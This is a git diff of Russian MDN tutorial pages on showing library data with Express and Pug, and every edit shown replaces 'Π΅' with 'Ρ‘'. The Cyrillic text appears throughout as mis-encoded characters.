index 15097717f0..219f5639b0 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html
@@ -3,7 +3,7 @@ title: Бписок Π°Π²Ρ‚ΠΎΡ€ΠΎΠ². ВСст - список ΠΆΠ°Π½Ρ€ΠΎΠ²
slug: Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page
translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page
---
-<p>Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° списка Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ список всСх Π°Π²Ρ‚ΠΎΡ€ΠΎΠ², Ρ…Ρ€Π°Π½ΠΈΠΌΡ‹Ρ… Π² Π‘Π”, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ имя Π°Π²Ρ‚ΠΎΡ€Π° Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ связано со страницСй подробностСй для этого Π°Π²Ρ‚ΠΎΡ€Π°. Π”Π°Ρ‚Π° роТдСния Π°Π²Ρ‚ΠΎΡ€Π° ΠΈ Π΄Π°Ρ‚Π° смСрти Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² ΠΎΠ΄Π½ΠΎΠΉ строкС послС ΠΈΠΌΠ΅Π½ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°.</p>
+<p>Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° списка Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ список всСх Π°Π²Ρ‚ΠΎΡ€ΠΎΠ², Ρ…Ρ€Π°Π½ΠΈΠΌΡ‹Ρ… Π² Π‘Π”, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ имя Π°Π²Ρ‚ΠΎΡ€Π° Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ связано со страницСй подробностСй для этого Π°Π²Ρ‚ΠΎΡ€Π°. Π”Π°Ρ‚Π° роТдСния Π°Π²Ρ‚ΠΎΡ€Π° ΠΈ Π΄Π°Ρ‚Π° смСрти Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² ΠΎΠ΄Π½ΠΎΠΉ строкС послС ΠΈΠΌΠ΅Π½ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°.</p>
<h2 class="highlight-spanned" id="ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€"><span class="highlight-span">ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€</span></h2>
@@ -74,8 +74,8 @@ block content
</ul>
</li>
<li>ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠΉ шаблон Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π½Π°Π·Π²Π°Π½ <strong>genre_list.pug</strong>.</li>
- <li>Π¨Π°Π±Π»ΠΎΠ½Ρƒ для отобраТСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅Β <code>title</code> (строка 'Genre List') ΠΈΒ <code>genre_list</code>Β (the list of список ΠΆΠ°Π½Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π΅Ρ€Π½Π΅Ρ‚ колбэк-функция <code>Genre.find()</code>.</li>
- <li>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Ρƒ, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌΡƒ Ρ€Π°Π½Π΅Π΅Β (ΠΎΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ структуру ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚, ΠΏΠΎΡ…ΠΎΠΆΠΈΠ΅ Π½Π° Ρ‚Π°ΠΊΠΎΠ²Ρ‹Π΅ Π² прСдставлСнии списка Π°Π²Ρ‚ΠΎΡ€ΠΎΠ², Π·Π°Β ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΆΠΈΠ·Π½ΠΈ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ для ΠΆΠ°Π½Ρ€ΠΎΠ² Π΄Π°Ρ‚Ρ‹ Π½Π΅ Π·Π°Π΄Π°Π½Ρ‹).</li>
+ <li>Π¨Π°Π±Π»ΠΎΠ½Ρƒ для отобраТСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅Β <code>title</code> (строка 'Genre List') ΠΈΒ <code>genre_list</code>Β (the list of список ΠΆΠ°Π½Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π΅Ρ€Π½Ρ‘Ρ‚ колбэк-функция <code>Genre.find()</code>.</li>
+ <li>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Ρƒ, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌΡƒ Ρ€Π°Π½Π΅Π΅Β (ΠΎΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ структуру ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚, ΠΏΠΎΡ…ΠΎΠΆΠΈΠ΅ Π½Π° Ρ‚Π°ΠΊΠΎΠ²Ρ‹Π΅ Π² прСдставлСнии списка Π°Π²Ρ‚ΠΎΡ€ΠΎΠ², Π·Π°Β ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ, ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΆΠΈΠ·Π½ΠΈ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ для ΠΆΠ°Π½Ρ€ΠΎΠ² Π΄Π°Ρ‚Ρ‹ Π½Π΅ Π·Π°Π΄Π°Π½Ρ‹).</li>
</ol>
<h2 id="Π”Π°Π»Π΅Π΅">Π”Π°Π»Π΅Π΅</h2>
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html
index fbbf8c9622..6bbab5a709 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html
@@ -3,7 +3,7 @@ title: Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° списка ΠΊΠ½ΠΈΠ³
slug: Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page
translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page
---
-<p>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌ Π½Π°ΡˆΡƒ страницу списка ΠΊΠ½ΠΈΠ³. На этой страницС Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ список всСх ΠΊΠ½ΠΈΠ³ ΠΈ ΠΈΡ… Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΊΠ½ΠΈΠ³ΠΈ являСтся гипСрссылкой Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ страницу свСдСний ΠΎ ΠΊΠ½ΠΈΠ³Π΅.</p>
+<p>Π”Π°Π»Π΅Π΅ ΠΌΡ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌ Π½Π°ΡˆΡƒ страницу списка ΠΊΠ½ΠΈΠ³. На этой страницС Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ список всСх ΠΊΠ½ΠΈΠ³ ΠΈ ΠΈΡ… Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΊΠ½ΠΈΠ³ΠΈ являСтся гипСрссылкой Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ страницу свСдСний ΠΎ ΠΊΠ½ΠΈΠ³Π΅.</p>
<h2 class="highlight-spanned" id="ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€"><span class="highlight-span">ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€</span></h2>
@@ -24,7 +24,7 @@ exports<span class="punctuation token">.</span>book_list <span class="operator t
<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΌΠΎΠ΄Π΅Π»ΠΈ<code>find()</code> для Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β <code>Book</code>, Π²Ρ‹Π±Ρ€Π°Π² для Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½Ρ‹ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ поля (ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ Π²Π΅Ρ€Π½Π΅Ρ‚ <code>_id</code> ΠΈ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ поля). Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΒ <code>populate()</code> on <code>Book</code>, указывая ΠΏΠΎΠ»Π΅Β  <code>author</code> —это Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ сохранСнный ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π°Π²Ρ‚ΠΎΡ€Π° ΠΊΠ½ΠΈΠ³ΠΈ ΠΏΠΎΠ»Π½Ρ‹ΠΌΠΈ свСдСниями ΠΎΠ± Π°Π²Ρ‚ΠΎΡ€Π΅.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΌΠΎΠ΄Π΅Π»ΠΈ<code>find()</code> для Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β <code>Book</code>, Π²Ρ‹Π±Ρ€Π°Π² для Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½Ρ‹ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ поля (ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>_id</code> ΠΈ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ поля). Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΒ <code>populate()</code> on <code>Book</code>, указывая ΠΏΠΎΠ»Π΅Β  <code>author</code> —это Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ сохранённый ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π°Π²Ρ‚ΠΎΡ€Π° ΠΊΠ½ΠΈΠ³ΠΈ ΠΏΠΎΠ»Π½Ρ‹ΠΌΠΈ свСдСниями ΠΎΠ± Π°Π²Ρ‚ΠΎΡ€Π΅.</p>
<p>ΠŸΡ€ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ, колбэк пСрСдаст запрос Π½Π° отрисовку шаблона <strong>book_list</strong>(.pug), пСрСдаст <code>title</code> ΠΈ<code>book_list</code> (список ΠΊΠ½ΠΈΠ³ с Π°Π²Ρ‚ΠΎΡ€ΠΎΠΌ) Π² качСствС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ….</p>
@@ -46,7 +46,7 @@ block content
<span class="keyword token">else</span>
li There are no books<span class="punctuation token">.</span></code></pre>
-<p>View Ρ€Π°ΡΡˆΠΈΡ€ΠΈΡ‚ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ шаблон <strong>layout.pug</strong> ΠΈ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Β <code>block</code> с ΠΈΠΌΠ΅Π½Π΅ΠΌ '<strong>content</strong>'. Он ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚Β  <code>title</code> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π»ΠΈ ΠΈΠ· ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°Β (с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>render()</code>Β ), Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π±ΠΈΡ€Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽΒ <code>book_list</code>Β  ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ синтаксис <code>each</code>-<code>in</code>-<code>else</code>Β . Для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ создаСтся элСмСнт списка, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠΉ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΊΠ½ΠΈΠ³ΠΈ Π² Π²ΠΈΠ΄Π΅ ссылки Π½Π° страницу свСдСний ΠΎ ΠΊΠ½ΠΈΠ³Π΅, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ слСдуСт имя Π°Π²Ρ‚ΠΎΡ€Π°. Если Π²Β  <code>book_list</code> Π½Π΅Ρ‚ ΠΊΠ½ΠΈΠ³,Β  Ρ‚ΠΎ выполняСтся <code>else</code>, ΠΈΒ  отобраТаСтся тСкст "Π½Π΅Ρ‚ ΠΊΠ½ΠΈΠ³".'</p>
+<p>View Ρ€Π°ΡΡˆΠΈΡ€ΠΈΡ‚ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ шаблон <strong>layout.pug</strong> ΠΈ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Β <code>block</code> с ΠΈΠΌΠ΅Π½Π΅ΠΌ '<strong>content</strong>'. Он ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚Β  <code>title</code> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π»ΠΈ ΠΈΠ· ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°Β (с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>render()</code>Β ), Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π±ΠΈΡ€Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽΒ <code>book_list</code>Β  ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ синтаксис <code>each</code>-<code>in</code>-<code>else</code>Β . Для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ создаётся элСмСнт списка, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠΉ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΊΠ½ΠΈΠ³ΠΈ Π² Π²ΠΈΠ΄Π΅ ссылки Π½Π° страницу свСдСний ΠΎ ΠΊΠ½ΠΈΠ³Π΅, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ слСдуСт имя Π°Π²Ρ‚ΠΎΡ€Π°. Если Π²Β  <code>book_list</code> Π½Π΅Ρ‚ ΠΊΠ½ΠΈΠ³,Β  Ρ‚ΠΎ выполняСтся <code>else</code>, ΠΈΒ  отобраТаСтся тСкст "Π½Π΅Ρ‚ ΠΊΠ½ΠΈΠ³".'</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:Β </strong>ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ <code>book.url</code>  для прСдоставлСния ссылки Π½Π° ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ запись для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ (ΠΌΡ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π»ΠΈ этот ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚, Π½ΠΎ Π½Π΅ страницу). Π­Ρ‚ΠΎ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠ΅ свойство ΠΌΠΎΠ΄Π΅Π»ΠΈΒ <code>Book</code>Β , которая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΠΎΠ»Π΅Β Β <code>_id</code> для создания ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ URL.</p>
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html
index 6a924829bf..20b7d94f6a 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html
@@ -9,7 +9,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_li
<p>Ѐункция ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° списка <code>BookInstance</code> трСбуСтся для получСния списка всСх экзСмпляров Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ, для получСния информации, связанной с ΠΊΠ½ΠΈΠ³ΠΎΠΉ, ΠΈ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ списка Π² шаблон для отобраТСния.</p>
-<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ»Β <strong>/controllers/bookinstanceController.js</strong>. НайдитС экспортируСмый ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>bookinstance_list()</code>Β ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Π³ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΊΠΎΠ΄ΠΎΠΌ (ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π²Ρ‹Π΄Π΅Π»Π΅Π½ ΠΆΠΈΡ€Π½Ρ‹ΠΌ).</p>
+<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ»Β <strong>/controllers/bookinstanceController.js</strong>. НайдитС экспортируСмый ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>bookinstance_list()</code>Β ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Π³ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΊΠΎΠ΄ΠΎΠΌ (ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π²Ρ‹Π΄Π΅Π»Π΅Π½ ΠΆΠΈΡ€Π½Ρ‹ΠΌ).</p>
<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display list of all BookInstances.</span>
exports<span class="punctuation token">.</span>bookinstance_list <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span>
@@ -30,7 +30,7 @@ exports<span class="punctuation token">.</span>bookinstance_list <span class="op
<h2 class="highlight-spanned" id="ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅">ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠ΅</h2>
-<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ»Β Β <strong>/views/bookinstance_list.pug</strong>Β ΠΈ скопируйтС Π² Π½Π΅Π³ΠΎ тСкст, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅.</p>
+<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ»Β Β <strong>/views/bookinstance_list.pug</strong>Β ΠΈ скопируйтС Π² Π½Π΅Π³ΠΎ тСкст, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅.</p>
<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">extends</span> <span class="class-name token">layout</span>
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html
index 2180be7c4b..84e9925d43 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html
@@ -46,7 +46,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting
<span class="comment token">//span (Due: #{val.due_back} )</span>
span <span class="function token"> </span><span class="punctuation token">(</span>Due<span class="punctuation token">:</span> #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>due_back_formatted<span class="punctuation token">}</span> <span class="punctuation token">)</span> </code></pre>
-<p>Π’ΠΎΡ‚ ΠΈ всС. Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚Π΅ ΠΊΒ Β <em>All book-instances</em>Β Π² Π±ΠΎΠΊΠΎΠ²ΠΎΠΌ мСню, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ всС Π΄Π°Ρ‚Ρ‹Β  Π² ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅!</p>
+<p>Π’ΠΎΡ‚ ΠΈ всС. Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΊΒ Β <em>All book-instances</em>Β Π² Π±ΠΎΠΊΠΎΠ²ΠΎΠΌ мСню, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ всС Π΄Π°Ρ‚Ρ‹Β  Π² ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅!</p>
<p>Β </p>
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html
index f951a355e5..c09963fb70 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html
@@ -6,7 +6,7 @@ tags:
- Π§Π°ΡΡ‚ΡŒ 5
translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async
---
